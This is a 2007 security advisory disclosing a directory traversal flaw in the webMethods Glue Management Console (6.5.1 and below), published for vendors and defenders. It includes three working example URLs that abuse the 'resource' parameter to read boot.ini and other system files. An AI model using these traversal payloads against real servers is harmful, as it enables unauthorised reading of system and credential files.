-----------------------------------------------
Release Date:
11-Apr-2007

Software:
webMethods - webMethods Glue Management Console
http://www.webmethods.com/

"With webMethods Glue developers can easily create SOAP interfaces
 for their existing Java and C/C++ applications, and legacy systems
 can be easily Web service-enabled, allowing reuse. webMethods Glue
 includes a compact, high-performance implementation of important
 standards such as HTTP, Servlets, XML, SOAP, WSDL, and UDDI, and
 interoperates with Microsoft .NET, IBM WebSphere, BEA WebLogic,
 Apache Axis, and other Web service platforms."

Versions affected:
Glue 6.5.1 and below.

Vulnerability discovered:

Directory Traversal.

Vulnerability impact:

Medium - Read arbitrary system files.

Vulnerability information:

The webMethods Glue Management Console includes HTML pages via
the /console?resource=console/index.html variable, which is prone
to a classic traversal attack.

Examples:

 http://glueconsole:8080/console?resource=../../../boot.ini
 http://glueconsole:8080/console?resource=\boot.ini
 http://glueconsole:8080/console?resource=c:\boot.ini

 Would return the contents of the 'boot.ini' file.

 Note that 'c:\boot.ini' is also valid. It may be possible
 (but untested) to traverse other volumes.
